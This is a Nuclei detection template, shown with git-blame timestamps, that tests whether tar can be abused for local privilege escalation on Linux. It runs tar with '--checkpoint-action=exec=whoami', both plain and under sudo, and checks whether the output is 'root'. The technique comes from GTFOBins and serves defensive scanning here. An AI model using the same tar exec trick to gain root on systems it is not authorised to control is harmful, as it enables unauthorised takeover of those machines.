2024-01-22 18:59:57 +05:30
id : privesc-tar
info :
name : tar - Privilege Escalation
author : daffainfo
severity : high
description : |
2024-01-22 19:39:39 +05:30
tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2.
2024-01-22 18:59:57 +05:30
reference :
- https://gtfobins.github.io/gtfobins/tar/
metadata :
verified : true
2024-01-29 11:58:34 +00:00
max-request : 3
2024-01-31 23:11:31 +05:30
tags : code,linux,tar,privesc,local
2024-01-22 18:59:57 +05:30
self-contained : true
code :
- engine :
- sh
- bash
source : |
whoami
- engine :
- sh
- bash
source : |
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
- engine :
- sh
- bash
source : |
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami
matchers-condition : and
matchers :
- type : word
part : code_1_response
words :
- "root"
negative : true
- type : dsl
dsl :
- 'contains(code_2_response, "root")'
- 'contains(code_3_response, "root")'
2024-01-22 16:20:01 +00:00
condition : or
2024-12-01 13:57:55 +00:00
# digest: 4b0a004830460221008f418b7f31a1fbba80eee3a20862f5d3a51e668bd7beb5b54a1fd5783b76e284022100a5b92faca0547015b4c997c30e787be16bdceb76500fffad437864bd941a3198:922c64590222798bb761d5b6d8e72950